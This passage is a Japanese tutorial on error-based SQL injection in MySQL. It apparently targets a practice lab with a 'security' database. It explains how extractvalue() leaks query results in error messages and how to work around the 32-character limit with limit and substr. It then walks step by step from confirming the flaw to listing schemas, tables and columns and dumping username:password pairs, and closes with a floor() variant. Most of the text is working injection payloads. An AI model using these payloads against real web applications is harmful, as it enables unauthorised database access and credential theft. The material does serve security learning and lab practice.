?id=1' and extractvalue(1,concat(0x7e,database())) -- a
上記のクエリを実行すると、データベースの名前がエラーメッセージとして表示されます:
database() の部分は、実行したい任意のSQL文に置き換えることができます。
次に、エラーインジェクションがどのようにデータを表示するのかを段階的に分析していきます。
二、実行原理
1. コードロジックの分析
テストサイトの機能は非常にシンプルで、IDに基づいてユーザー名を取得します:
実行フローは以下の3段階です:
- ユーザーがパラメータ(ユーザーID)を入力
- バックエンドでSQL実行(ユーザー情報をクエリ)
- クエリ結果をフロントエンドに表示
サイトの機能ロジックを理解した後、エラーインジェクションの核心であるextractvalue()関数を詳しく見ていきましょう。
2. エラー生成関数
MySQLにはextractvalue()関数があり、第二引数に特殊な記号を含む場合にエラーを発生させ、その第二引数の内容をエラーメッセージに表示します。
試しにユーザー情報をクエリしながらエラー関数を使用してみましょう:?id=1' and extractvalue(1, 0x7e) -- a
ヒント:0x7e は ~ と同等です;extractvalue()はMySQL5.1以上のバージョンが必要です。
第二引数に特殊記号 ~ が含まれているため、データベースがエラーを発生させ、その第二引数の内容がエラーメッセージとして表示されます。
3. クエリ結果の結合
第二引数の位置にクエリ文と特殊記号を結合することで、クエリ結果をエラーメッセージに表示させることができます。アドレスバーに入力:
?id=1' and extractvalue(1, concat(0x7d,select version())) -- a
第二引数の内容にあるクエリ結果がデータベースのエラーメッセージに表示され、ページに反映されます。
ヒント:
- version():データベースのバージョンを返す
- concat():特殊記号とクエリ結果を結合する関数。詳細はMySQL公式ドキュメントを参照してください
4. 長さの制限
extractvalue()関数のエラーメッセージの長さは32文字を超えることができません。一般的な解決策は2つあります:
- limitによるページネーション
- substr()による文字列の切り取り
4.1 limitによるページネーション
データベースユーザーを取得する例:
?id=-1' and extractvalue(1,concat(0x7d,
(select user
from mysql.user limit 1,1)
)) -- a
4.2 substr()による文字列の切り取り
データベースユーザーを取得する例:
?id=-1' and extractvalue(1,concat(0x7d,
substr(
(select group_concat(user)
from mysql.user)
, 1 , 31)
)) -- a
エラーインジェクションの実行原理を理解したところで、エラーインジェクションの手順を整理してみましょう。
三、手順のまとめ
適用状況:ページにデータベースのエラーメッセージが表示される場合
エラーメッセージは動的で、データベースからのエラーでなければなりません。
サイトにハードコードされた、カスタムのエラーメッセージは対象外です。
1. エラー発生の確認
パラメータにシングル/ダブルクォートを追加し、ページがエラーを表示する場合のみ次のステップに進めます。
?id=1' -- a
2. エラー条件の確認
パラメータにエラー関数を追加し、エラーメッセージが正常に表示されるか確認します
?id=1' and extractvalue(1,'~') -- a
3. データベースの取得
すべてのデータベースを取得
?id=-1' and extractvalue(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
, 1 , 31)
)) -- a
すべてのテーブルを取得
?id=1' and extractvalue(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema = 'security')
, 1 , 31)
)) -- a
すべてのカラムを取得
?id=1' and extractvalue(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users')
, 1 , 31)
)) -- a
4. データの取得
特定のデータを抽出
?id=1' and extractvalue(1,concat('~',
substr(
(select group_concat(username,0x3a,password)
from security.users)
, 1 , 31)
)) -- a
四、その他のエラー関数
updatexml()やextractvalue()のほかに、以下の関数もエラーインジェクションに使用できます:
- floor():数値演算エラーを利用
- geometrycollection():幾何学関数のエラーを利用
- multipoint():マルチポイント関数のエラーを利用
- exp():指数関数のオーバーフローを利用
例としてfloor()を使用した例:
?id=1' and (select count(*) from information_schema.tables group by concat(0x7d,database(),0x7d,floor(rand(0)*2))) -- a